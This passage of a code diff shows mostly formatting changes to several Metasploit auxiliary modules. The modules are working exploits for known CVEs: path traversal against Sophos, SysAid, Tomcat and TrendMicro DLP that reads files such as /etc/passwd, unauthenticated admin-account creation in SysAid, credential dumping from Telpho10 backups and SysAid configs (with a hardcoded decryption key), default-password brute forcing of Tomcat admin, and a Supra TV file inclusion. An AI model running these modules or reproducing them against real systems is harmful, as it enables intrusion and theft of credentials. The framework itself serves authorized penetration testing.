'uri' => "/cgi-bin/patience.cgi",
'method' => 'GET',
'uri' => '/cgi-bin/patience.cgi',
'method' => 'GET',
'encode_params' => false,
'vars_get' => {
'id' => travs
'id' => travs
}
})
}
)
if res and (res.code == 200 or res.code == 500) and res.headers['X-Sophos-PatienceID']
if res && ((res.code == 200) || (res.code == 500)) && res.headers['X-Sophos-PatienceID']
return res.body
else
print_status("#{res.code}\n#{res.body}")
return nil
end
end
def run
print_status("Checking if it's a Sophos Web Protect Appliance with the vulnerable component...")
if is_proficy?
print_good("Check successful")
print_good('Check successful')
else
print_error("Sophos Web Protect Appliance vulnerable component not found")
print_error('Sophos Web Protect Appliance vulnerable component not found')
return
end
contents = read_file(datastore['FILEPATH'])
if contents.nil?
print_error("File not downloaded")
print_error('File not downloaded')
return
end
file_name = my_basename(datastore['FILEPATH'])
path = store_loot(
'sophos.wpa.traversal',
'application/octet-stream',
rhost,
contents,
file_name
'sophos.wpa.traversal',
'application/octet-stream',
rhost,
contents,
file_name
)
print_good("File saved in: #{path}")
end
end

View File

@ -8,26 +8,29 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Supra Smart Cloud TV Remote File Inclusion',
'Description' => %q{
This module exploits an unauthenticated remote file inclusion which
exists in Supra Smart Cloud TV. The media control for the device doesn't
have any session management or authentication. Leveraging this, an
attacker on the local network can send a crafted request to broadcast a
fake video.
},
'Author' => [
'Dhiraj Mishra', # Discovery, PoC, and module
'wvu' # Module
],
'References' => [
['CVE', '2019-12477'],
['URL', 'https://www.inputzero.io/2019/06/hacking-smart-tv.html']
],
'DisclosureDate' => '2019-06-03',
'License' => MSF_LICENSE
))
super(
update_info(
info,
'Name' => 'Supra Smart Cloud TV Remote File Inclusion',
'Description' => %q{
This module exploits an unauthenticated remote file inclusion which
exists in Supra Smart Cloud TV. The media control for the device doesn't
have any session management or authentication. Leveraging this, an
attacker on the local network can send a crafted request to broadcast a
fake video.
},
'Author' => [
'Dhiraj Mishra', # Discovery, PoC, and module
'wvu' # Module
],
'References' => [
['CVE', '2019-12477'],
['URL', 'https://www.inputzero.io/2019/06/hacking-smart-tv.html']
],
'DisclosureDate' => '2019-06-03',
'License' => MSF_LICENSE
)
)
deregister_options('URIPATH')
end
@ -37,12 +40,12 @@ class MetasploitModule < Msf::Auxiliary
print_status("Broadcasting Epic Sax Guy to #{peer}")
res = send_request_cgi(
'method' => 'GET',
'uri' => '/remote/media_control',
'method' => 'GET',
'uri' => '/remote/media_control',
'encode_params' => false,
'vars_get' => {
'action' => 'setUri',
'uri' => get_uri + 'epicsax.m3u8'
'vars_get' => {
'action' => 'setUri',
'uri' => get_uri + 'epicsax.m3u8'
}
)
@ -62,11 +65,11 @@ class MetasploitModule < Msf::Auxiliary
files = {
'/epicsax.m3u8' => 'application/x-mpegURL',
'/epicsax0.ts' => 'video/MP2T',
'/epicsax1.ts' => 'video/MP2T',
'/epicsax2.ts' => 'video/MP2T',
'/epicsax3.ts' => 'video/MP2T',
'/epicsax4.ts' => 'video/MP2T'
'/epicsax0.ts' => 'video/MP2T',
'/epicsax1.ts' => 'video/MP2T',
'/epicsax2.ts' => 'video/MP2T',
'/epicsax3.ts' => 'video/MP2T',
'/epicsax4.ts' => 'video/MP2T'
}
file = request.uri

View File

@ -8,41 +8,43 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'SysAid Help Desk Administrator Account Creation',
'Description' => %q{
This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated
user to create an administrator account. Note that this exploit will only work once. Any
subsequent attempts will fail. On the other hand, the credentials must be verified
manually. This module has been tested on SysAid 14.4 in Windows and Linux.
super(
update_info(
info,
'Name' => 'SysAid Help Desk Administrator Account Creation',
'Description' => %q{
This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated
user to create an administrator account. Note that this exploit will only work once. Any
subsequent attempts will fail. On the other hand, the credentials must be verified
manually. This module has been tested on SysAid 14.4 in Windows and Linux.
},
'Author' =>
[
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2015-2993' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2015/Jun/8' ],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/sysaid-14.4-multiple-vulns.txt' ],
],
'DisclosureDate' => '2015-06-03'))
'DisclosureDate' => '2015-06-03'
)
)
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 8080]),
OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']),
OptString.new('TARGETURI', [ true, 'SysAid path', '/sysaid']),
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password'])
])
]
)
end
def run
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'createnewaccount'),
'method' =>'GET',
'method' => 'GET',
'vars_get' => {
'accountID' => Rex::Text.rand_text_numeric(4),
'organizationName' => Rex::Text.rand_text_alpha(rand(4) + rand(8)),
@ -56,17 +58,17 @@ class MetasploitModule < Msf::Auxiliary
print_status("The new administrator #{datastore['USERNAME']}:#{datastore['PASSWORD']} should be checked manually")
connection_details = {
module_fullname: self.fullname,
username: datastore['USERNAME'],
private_data: datastore['PASSWORD'],
private_type: :password,
access_level: 'Administrator',
status: Metasploit::Model::Login::Status::UNTRIED
module_fullname: fullname,
username: datastore['USERNAME'],
private_data: datastore['PASSWORD'],
private_type: :password,
access_level: 'Administrator',
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)
else
print_error("Administrator account creation failed")
print_error('Administrator account creation failed')
end
end
end

View File

@ -7,45 +7,48 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'SysAid Help Desk Arbitrary File Download',
'Description' => %q{
This module exploits two vulnerabilities in SysAid Help Desk that allows
an unauthenticated user to download arbitrary files from the system. First, an
information disclosure vulnerability (CVE-2015-2997) is used to obtain the file
system path, and then we abuse a directory traversal (CVE-2015-2996) to download
the file. Note that there are some limitations on Windows, in that the information
disclosure vulnerability doesn't work on a Windows platform, and we can only
traverse the current drive (if you enter C:\afile.txt and the server is running
on D:\ the file will not be downloaded).
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SysAid Help Desk Arbitrary File Download',
'Description' => %q{
This module exploits two vulnerabilities in SysAid Help Desk that allows
an unauthenticated user to download arbitrary files from the system. First, an
information disclosure vulnerability (CVE-2015-2997) is used to obtain the file
system path, and then we abuse a directory traversal (CVE-2015-2996) to download
the file. Note that there are some limitations on Windows, in that the information
disclosure vulnerability doesn't work on a Windows platform, and we can only
traverse the current drive (if you enter C:\afile.txt and the server is running
on D:\ the file will not be downloaded).
This module has been tested with SysAid 14.4 on Windows and Linux.
This module has been tested with SysAid 14.4 on Windows and Linux.
},
'Author' =>
[
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
['CVE', '2015-2996'],
['CVE', '2015-2997'],
['URL', 'https://seclists.org/fulldisclosure/2015/Jun/8'],
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/sysaid-14.4-multiple-vulns.txt'],
],
'DisclosureDate' => '2015-06-03'))
'DisclosureDate' => '2015-06-03'
)
)
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 8080]),
OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']),
OptString.new('TARGETURI', [ true, 'SysAid path', '/sysaid']),
OptString.new('FILEPATH', [false, 'Path of the file to download (escape Windows paths with a back slash)', '/etc/passwd']),
])
]
)
end
def get_traversal_path
print_status("Trying to find out the traversal path...")
print_status('Trying to find out the traversal path...')
large_traversal = '../' * rand(15...30)
servlet_path = 'getAgentLogFile'
@ -56,13 +59,13 @@ class MetasploitModule < Msf::Auxiliary
'data' => Zlib::Deflate.deflate(Rex::Text.rand_text_alphanumeric(rand(100) + rand(300))),
'ctype' => 'application/octet-stream',
'vars_get' => {
'accountId' => large_traversal + Rex::Text.rand_text_alphanumeric(8 + rand(10)),
'computerId' => Rex::Text.rand_text_alphanumeric(8 + rand(10))
'accountId' => large_traversal + Rex::Text.rand_text_alphanumeric(rand(8..17)),
'computerId' => Rex::Text.rand_text_alphanumeric(rand(8..17))
}
})
if res && res.code == 200 && res.body.to_s =~ /\<H2\>(.*)\<\/H2\>/
error_path = $1
if res && res.code == 200 && res.body.to_s =~ %r{<H2>(.*)</H2>}
error_path = ::Regexp.last_match(1)
# Error_path is something like:
# /var/lib/tomcat7/webapps/sysaid/./WEB-INF/agentLogs/../../../../../../../../../../ajkdnjhdfn/1421678611732.zip
# This calculates how much traversal we need to do to get to the root.
@ -74,18 +77,16 @@ class MetasploitModule < Msf::Auxiliary
end
def download_file(download_path)
begin
return send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'),
'vars_get' => {
'fileName' => download_path
},
})
rescue Rex::ConnectionRefused
print_error("Could not connect.")
return
end
return send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'),
'vars_get' => {
'fileName' => download_path
}
})
rescue Rex::ConnectionRefused
print_error('Could not connect.')
return
end
def run
@ -96,24 +97,25 @@ class MetasploitModule < Msf::Auxiliary
print_status("Downloading file #{datastore['FILEPATH']}")
if datastore['FILEPATH'] =~ /([A-Za-z]{1}):(\\*)(.*)/
file_path = $3
file_path = ::Regexp.last_match(3)
else
file_path = datastore['FILEPATH']
end
traversal_path = get_traversal_path
if traversal_path.nil?
print_error("Could not get traversal path, using bruteforce to download the file")
print_error('Could not get traversal path, using bruteforce to download the file')
count = 1
while count < 15
res = download_file(('../' * count) + file_path)
if res && res.code == 200 && res.body.to_s.bytesize != 0
if res && res.code == 200 && res.body.to_s.bytesize != 0
break
end
count += 1
end
else
res = download_file(traversal_path[0,traversal_path.length - 1] + file_path)
res = download_file(traversal_path[0, traversal_path.length - 1] + file_path)
end
if res && res.code == 200

View File

@ -9,40 +9,42 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'SysAid Help Desk Database Credentials Disclosure',
'Description' => %q{
This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated
user to download arbitrary files from the system. This is used to download the server
configuration file that contains the database username and password, which is encrypted
with a fixed, known key. This module has been tested with SysAid 14.4 on Windows and Linux.
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SysAid Help Desk Database Credentials Disclosure',
'Description' => %q{
This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated
user to download arbitrary files from the system. This is used to download the server
configuration file that contains the database username and password, which is encrypted
with a fixed, known key. This module has been tested with SysAid 14.4 on Windows and Linux.
},
'Author' =>
[
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
'License' => MSF_LICENSE,
'References' => [
['CVE', '2015-2996'],
['CVE', '2015-2998'],
['URL', 'https://seclists.org/fulldisclosure/2015/Jun/8'],
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/sysaid-14.4-multiple-vulns.txt']
],
'DisclosureDate' => '2015-06-03'))
'DisclosureDate' => '2015-06-03'
)
)
register_options(
[
OptPort.new('RPORT', [true, 'The target port', 8080]),
OptString.new('TARGETURI', [ true, 'SysAid path', '/sysaid']),
])
]
)
end
def decrypt_password (ciphertext)
def decrypt_password(ciphertext)
salt = [-87, -101, -56, 50, 86, 53, -29, 3].pack('c*')
cipher = OpenSSL::Cipher.new("DES")
cipher = OpenSSL::Cipher.new('DES')
base_64_code = Rex::Text.decode_base64(ciphertext)
cipher.decrypt
cipher.pkcs5_keyivgen 'inigomontoya', salt, 19
@ -59,17 +61,17 @@ class MetasploitModule < Msf::Auxiliary
'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'),
'vars_get' => {
'fileName' => '../conf/serverConf.xml'
},
}
})
rescue Rex::ConnectionRefused
fail_with(Failure::Unreachable, "#{peer} - Could not connect.")
end
if res && res.code == 200 && res.body.to_s.bytesize != 0
username = /\<dbUser\>(.*)\<\/dbUser\>/.match(res.body.to_s)
encrypted_password = /\<dbPassword\>(.*)\<\/dbPassword\>/.match(res.body.to_s)
database_url = /\<dbUrl\>(.*)\<\/dbUrl\>/.match(res.body.to_s)
database_type = /\<dbType\>(.*)\<\/dbType\>/.match(res.body.to_s)
username = %r{<dbUser>(.*)</dbUser>}.match(res.body.to_s)
encrypted_password = %r{<dbPassword>(.*)</dbPassword>}.match(res.body.to_s)
database_url = %r{<dbUrl>(.*)</dbUrl>}.match(res.body.to_s)
database_type = %r{<dbType>(.*)</dbType>}.match(res.body.to_s)
unless username && encrypted_password && database_type && database_url
fail_with(Failure::Unknown, "#{peer} - Failed to obtain database credentials.")
@ -85,15 +87,14 @@ class MetasploitModule < Msf::Auxiliary
username: username
})
matches = /(\w*):(\w*):\/\/(.*)\/(\w*)/.match(database_url)
matches = %r{(\w*):(\w*)://(.*)/(\w*)}.match(database_url)
if matches
begin
db_address = matches.captures[2]
if database_url['localhost'] == 'localhost'
db_address = matches.captures[2]
db_port = db_address[(db_address.index(':') + 1)..(db_address.length - 1)].to_i
db_address = rhost
else
db_address = matches.captures[2]
if db_address.index(':')
db_address = db_address[0, db_address.index(':')]
db_port = db_address[db_address.index(':')..(db_address.length - 1)].to_i
@ -125,11 +126,11 @@ class MetasploitModule < Msf::Auxiliary
end
end
def report_credential_core(cred_opts={})
def report_credential_core(cred_opts = {})
# use a basic core only since this credential is not known valid for service it was obtained from.
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
module_fullname: fullname,
private_type: :password,
private_data: cred_opts[:password],
username: cred_opts[:username]

View File

@ -7,27 +7,32 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Telpho10 Backup Credentials Dumper',
'Description' => %q{
This module exploits a vulnerability present in all versions of Telpho10 telephone system
appliance. This module generates a configuration backup of Telpho10,
downloads the file and dumps the credentials for admin login,
phpmyadmin, phpldapadmin, etc.
This module has been successfully tested on the appliance versions 2.6.31 and 2.6.39.
},
'Author' => 'Jan Rude', # Vulnerability Discovery and Metasploit Module
'License' => MSF_LICENSE,
'References' => ['URL', 'https://github.com/whoot/TelpOWN'],
'Platform' => 'linux',
'Privileged' => false,
'DisclosureDate' => '2016-09-02'))
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Telpho10 Backup Credentials Dumper',
'Description' => %q{
This module exploits a vulnerability present in all versions of Telpho10 telephone system
appliance. This module generates a configuration backup of Telpho10,
downloads the file and dumps the credentials for admin login,
phpmyadmin, phpldapadmin, etc.
This module has been successfully tested on the appliance versions 2.6.31 and 2.6.39.
},
'Author' => 'Jan Rude', # Vulnerability Discovery and Metasploit Module
'License' => MSF_LICENSE,
'References' => ['URL', 'https://github.com/whoot/TelpOWN'],
'Platform' => 'linux',
'Privileged' => false,
'DisclosureDate' => '2016-09-02'
)
)
register_options(
[
Opt::RPORT(80)
])
register_options(
[
Opt::RPORT(80)
]
)
end
# Used for unpacking backup files
@ -38,12 +43,12 @@ class MetasploitModule < Msf::Auxiliary
Rex::Tar::Reader.new(file) do |tar|
tar.each do |entry|
dest = File.join(destination, File.basename(entry.full_name))
if entry.file?
File.open(dest, 'wb') do |f|
f.write(entry.read)
end
File.chmod(entry.header.mode, dest)
next unless entry.file?
File.open(dest, 'wb') do |f|
f.write(entry.read)
end
File.chmod(entry.header.mode, dest)
end
end
end
@ -62,54 +67,53 @@ class MetasploitModule < Msf::Auxiliary
print_status('Login (/telpho/login.php)')
print_status('-------------------------')
print_good("Username: #{config.first[/adminusername\',\'(.*?)\'/, 1]}")
print_good("Password: #{config.first[/adminpassword\',\'(.*?)\'/, 1]}\n")
print_good("Username: #{config.first[/adminusername','(.*?)'/, 1]}")
print_good("Password: #{config.first[/adminpassword','(.*?)'/, 1]}\n")
print_status('MySQL (/phpmyadmin)')
print_status('-------------------')
print_good('Username: root')
print_good("Password: #{config.first[/dbpassword\',\'(.*?)\'/, 1]}\n")
print_good("Password: #{config.first[/dbpassword','(.*?)'/, 1]}\n")
print_status('LDAP (/phpldapadmin)')
print_status('--------------------')
print_good('Username: cn=admin,dc=localdomain')
print_good("Password: #{config.first[/ldappassword\',\'(.*?)\'/, 1]}\n")
print_good("Password: #{config.first[/ldappassword','(.*?)'/, 1]}\n")
print_status('Asterisk MI (port 5038)')
print_status('-----------------------')
print_good("Username: #{config.first[/manageruser\',\'(.*?)\'/, 1]}")
print_good("Password: #{config.first[/managersecret\',\'(.*?)\'/, 1]}\n")
print_good("Username: #{config.first[/manageruser','(.*?)'/, 1]}")
print_good("Password: #{config.first[/managersecret','(.*?)'/, 1]}\n")
print_status('Mail configuration')
print_status('------------------')
print_good("Mailserver: #{config.first[/ipsmarthost\',\'(.*?)\'/, 1]}")
print_good("Username: #{config.first[/mailusername\',\'(.*?)\'/, 1]}")
print_good("Password: #{config.first[/mailpassword\',\'(.*?)\'/, 1]}")
print_good("Mail from: #{config.first[/mailfrom\',\'(.*?)\'/, 1]}\n")
print_good("Mailserver: #{config.first[/ipsmarthost','(.*?)'/, 1]}")
print_good("Username: #{config.first[/mailusername','(.*?)'/, 1]}")
print_good("Password: #{config.first[/mailpassword','(.*?)'/, 1]}")
print_good("Mail from: #{config.first[/mailfrom','(.*?)'/, 1]}\n")
print_status('Online Backup')
print_status('-------------')
print_good("ID: #{config.first[/ftpbackupid\',\'(.*?)\'/, 1]}")
print_good("Password: #{config.first[/ftpbackuppw\',\'(.*?)\'/, 1]}\n")
print_good("ID: #{config.first[/ftpbackupid','(.*?)'/, 1]}")
print_good("Password: #{config.first[/ftpbackuppw','(.*?)'/, 1]}\n")
end
def run
res = send_request_cgi({
'uri' => '/telpho/system/backup.php',
'uri' => '/telpho/system/backup.php',
'method' => 'GET'
})
if res && res.code == 200
print_status('Generating backup')
sleep(1)
else
print_error("Could not find vulnerable script. Aborting.")
print_error('Could not find vulnerable script. Aborting.')
return nil
end
print_status('Downloading backup')
res = send_request_cgi({
'uri' => '/telpho/temp/telpho10.epb',
'uri' => '/telpho/temp/telpho10.epb',
'method' => 'GET'
})
if res && res.code == 200
@ -128,16 +132,16 @@ class MetasploitModule < Msf::Auxiliary
print_good("File saved in: #{path}")
begin
extracted = untar("#{path}")
extracted = untar(path.to_s)
mysql = untar("#{extracted}/mysql.tar")
rescue
rescue StandardError
print_error('Could not unpack files.')
return nil
end
begin
print_status("Dumping credentials\n")
dump_creds("#{mysql}/mysql.epb")
rescue
rescue StandardError
print_error('Could not find credential file.')
return nil
end

View File

@ -10,16 +10,15 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Tomcat Administration Tool Default Access',
'Name' => 'Tomcat Administration Tool Default Access',
'Description' => 'Detect the Tomcat administration interface. The administration interface is included in versions 5.5 and lower.
Port 8180 is the default for FreeBSD, 8080 for all others.',
# version of admin interface source: O'Reilly Tomcat The Definitive Guide, page 82
'References' =>
[
['URL', 'http://tomcat.apache.org/'],
],
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
'License' => MSF_LICENSE
# version of admin interface source: O'Reilly Tomcat The Definitive Guide, page 82
'References' => [
['URL', 'http://tomcat.apache.org/'],
],
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
'License' => MSF_LICENSE
)
register_options(
@ -27,107 +26,98 @@ class MetasploitModule < Msf::Auxiliary
Opt::RPORT(8180), # 8180 is default for FreeBSD. All other OSes it's 8080
OptString.new('TOMCAT_USER', [ false, 'The username to authenticate as', '']),
OptString.new('TOMCAT_PASS', [ false, 'The password for the specified username', '']),
])
]
)
end
def post_auth?
true
end
def run_host(ip)
def run_host(_ip)
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/'
}, 25
)
begin
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/',
}, 25)
http_fingerprint({ response: res })
http_fingerprint({ :response => res })
if (res && (res.code == 200))
if (res and res.code == 200)
ver = ''
ver = ""
if res.body.match(/<title>Apache Tomcat\/(.*)<\/title>/)
ver = "Apache Tomcat/" + $1
end
user = datastore['TOMCAT_USER'].to_s
pass = datastore['TOMCAT_PASS'].to_s
if user.length == 0
default_usernames = ['admin','manager','role1','root','tomcat']
else
default_usernames = [user]
end
if pass.length == 0
default_passwords = ['admin','manager','role1','root','tomcat']
else
default_passwords = [pass]
end
default_usernames.each do |username|
default_passwords.each do |password|
res = send_request_raw({
'method' => 'GET',
'uri' => '/admin/',
}, 25)
if res && res.code == 200
if res.get_cookies.match(/JSESSIONID=(.*);(.*)/i)
jsessionid = $1
post_data = "j_username=#{username}&j_password=#{password}"
res = send_request_cgi({
'uri' => '/admin/j_security_check',
'method' => 'POST',
'content-type' => 'application/x-www-form-urlencoded',
'cookie' => "JSESSIONID=#{jsessionid}",
'data' => post_data,
}, 25)
if (res and res.code == 302)
res = send_request_cgi({
'uri' => "/admin/",
'method' => 'GET',
'cookie' => "JSESSIONID=#{jsessionid}",
}, 25)
if (res and res.code == 302)
res = send_request_cgi({
'uri' => "/admin/frameset.jsp",
'method' => 'GET',
'cookie' => "JSESSIONID=#{jsessionid}",
}, 25)
if (res and res.code == 200)
print_status("http://#{target_host}:#{rport}/admin [#{res.headers['Server']}] [#{ver}] [Tomcat Server Administration] [#{username}/#{password}]")
end
# LogOut
res = send_request_cgi({
'uri' => '/admin/logOut.do',
'method' => 'GET',
'cookie' => "JSESSIONID=#{jsessionid}",
}, 25)
end
end
end
end
end
end
if res.body.match(%r{<title>Apache Tomcat/(.*)</title>})
ver = 'Apache Tomcat/' + ::Regexp.last_match(1)
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
user = datastore['TOMCAT_USER'].to_s
pass = datastore['TOMCAT_PASS'].to_s
if user.empty?
default_usernames = ['admin', 'manager', 'role1', 'root', 'tomcat']
else
default_usernames = [user]
end
if pass.empty?
default_passwords = ['admin', 'manager', 'role1', 'root', 'tomcat']
else
default_passwords = [pass]
end
default_usernames.each do |username|
default_passwords.each do |password|
res = send_request_raw({
'method' => 'GET',
'uri' => '/admin/'
}, 25)
next unless res && res.code == 200 && res.get_cookies.match(/JSESSIONID=(.*);(.*)/i)
jsessionid = ::Regexp.last_match(1)
post_data = "j_username=#{username}&j_password=#{password}"
res = send_request_cgi({
'uri' => '/admin/j_security_check',
'method' => 'POST',
'content-type' => 'application/x-www-form-urlencoded',
'cookie' => "JSESSIONID=#{jsessionid}",
'data' => post_data
}, 25)
next unless (res && (res.code == 302))
res = send_request_cgi({
'uri' => '/admin/',
'method' => 'GET',
'cookie' => "JSESSIONID=#{jsessionid}"
}, 25)
next unless (res && (res.code == 302))
res = send_request_cgi({
'uri' => '/admin/frameset.jsp',
'method' => 'GET',
'cookie' => "JSESSIONID=#{jsessionid}"
}, 25)
if (res && (res.code == 200))
print_status("http://#{target_host}:#{rport}/admin [#{res.headers['Server']}] [#{ver}] [Tomcat Server Administration] [#{username}/#{password}]")
end
# LogOut
res = send_request_cgi({
'uri' => '/admin/logOut.do',
'method' => 'GET',
'cookie' => "JSESSIONID=#{jsessionid}"
}, 25)
end
end
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end

View File

@ -10,8 +10,8 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Tomcat UTF-8 Directory Traversal Vulnerability',
'Description' => %q{
'Name' => 'Tomcat UTF-8 Directory Traversal Vulnerability',
'Description' => %q{
This module tests whether a directory traversal vulnerability is present
in versions of Apache Tomcat 4.1.0 - 4.1.37, 5.5.0 - 5.5.26 and 6.0.0
- 6.0.16 under specific and non-default installations. The connector must have
@ -22,15 +22,14 @@ class MetasploitModule < Msf::Auxiliary
RedHat 9 running Tomcat 6.0.16 and Sun JRE 1.5.0-05. You may wish to change
FILE (hosts,sensitive files), MAXDIRS and RPORT depending on your environment.
},
'References' =>
[
[ 'URL', 'http://tomcat.apache.org/' ],
[ 'OSVDB', '47464' ],
[ 'CVE', '2008-2938' ],
[ 'URL', 'http://www.securityfocus.com/archive/1/499926' ],
],
'Author' => [ 'aushack','guerrino <ruggine> di massa' ],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'http://tomcat.apache.org/' ],
[ 'OSVDB', '47464' ],
[ 'CVE', '2008-2938' ],
[ 'URL', 'http://www.securityfocus.com/archive/1/499926' ],
],
'Author' => [ 'aushack', 'guerrino <ruggine> di massa' ],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Jan 9 2009'
)
@ -38,10 +37,13 @@ class MetasploitModule < Msf::Auxiliary
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'URI to the Tomcat instance', '/']),
OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line",
File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),
OptPath.new('SENSITIVE_FILES', [
true, 'File containing senstive files, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'sensitive_files.txt')
]),
OptInt.new('MAXDIRS', [ true, 'The maximum directory depth to search', 7]),
])
]
)
end
def extract_words(wordfile)
@ -62,46 +64,47 @@ class MetasploitModule < Msf::Auxiliary
try = traversal * level
res = send_request_raw(
{
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], try, files),
}, 25)
if (res and res.code == 200)
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], try, files)
}, 25
)
if (res && (res.code == 200))
print_status("Request ##{level} may have succeeded on #{rhost}:#{rport}:file->#{files}! Response: \r\n#{res.body}")
@files_found << files
break
elsif (res and res.code)
elsif (res && res.code)
vprint_error("Attempt ##{level} returned HTTP error #{res.code} on #{rhost}:#{rport}:file->#{files}")
end
end
end
def run_host(ip)
def run_host(_ip)
@files_found = []
begin
print_status("Attempting to connect to #{rhost}:#{rport}")
res = send_request_raw(
{
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI']),
}, 25)
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'])
}, 25
)
if (res)
if res
extract_words(datastore['SENSITIVE_FILES']).each do |files|
find_files(files) unless files.empty?
end
end
if not @files_found.empty?
print_good("File(s) found:")
if !@files_found.empty?
print_good('File(s) found:')
@files_found.each do |f|
print_good(f)
end
else
print_good("No File(s) found")
print_good('No File(s) found')
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end

View File

@ -9,8 +9,8 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'TrendMicro Data Loss Prevention 5.5 Directory Traversal',
'Description' => %q{
'Name' => 'TrendMicro Data Loss Prevention 5.5 Directory Traversal',
'Description' => %q{
This module tests whether a directory traversal vulnerablity is present
in Trend Micro DLP (Data Loss Prevention) Appliance v5.5 build <= 1294.
The vulnerability appears to be actually caused by the Tomcat UTF-8
@ -19,18 +19,17 @@ class MetasploitModule < Msf::Auxiliary
Note that in the Trend Micro appliance, /etc/shadow is not used and therefore
password hashes are stored and anonymously accessible in the passwd file.
},
'References' =>
[
[ 'URL', 'http://tomcat.apache.org/' ],
[ 'OSVDB', '47464' ],
[ 'OSVDB', '73447' ],
[ 'CVE', '2008-2938' ],
[ 'URL', 'http://www.securityfocus.com/archive/1/499926' ],
[ 'EDB', '17388' ],
[ 'BID', '48225' ],
],
'Author' => [ 'aushack' ],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'http://tomcat.apache.org/' ],
[ 'OSVDB', '47464' ],
[ 'OSVDB', '73447' ],
[ 'CVE', '2008-2938' ],
[ 'URL', 'http://www.securityfocus.com/archive/1/499926' ],
[ 'EDB', '17388' ],
[ 'BID', '48225' ],
],
'Author' => [ 'aushack' ],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Jan 9 2009'
)
@ -38,9 +37,12 @@ class MetasploitModule < Msf::Auxiliary
[
Opt::RPORT(8443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line",
File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),
])
OptPath.new('SENSITIVE_FILES', [
true, 'File containing senstive files, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'sensitive_files.txt')
]),
]
)
end
def extract_words(wordfile)
@ -59,44 +61,45 @@ class MetasploitModule < Msf::Auxiliary
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/dsc/' + traversal*10 + files, # We know depth is 10
}, 25)
if (res and res.code == 200)
'method' => 'GET',
'uri' => '/dsc/' + traversal * 10 + files # We know depth is 10
}, 25
)
if (res && (res.code == 200))
print_status("Request may have succeeded on #{rhost}:#{rport}:file->#{files}! Response: \r\n#{res.body}")
@files_found << files
elsif (res and res.code)
elsif (res && res.code)
vprint_status("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport}:file->#{files}")
end
end
def run_host(ip)
def run_host(_ip)
@files_found = []
begin
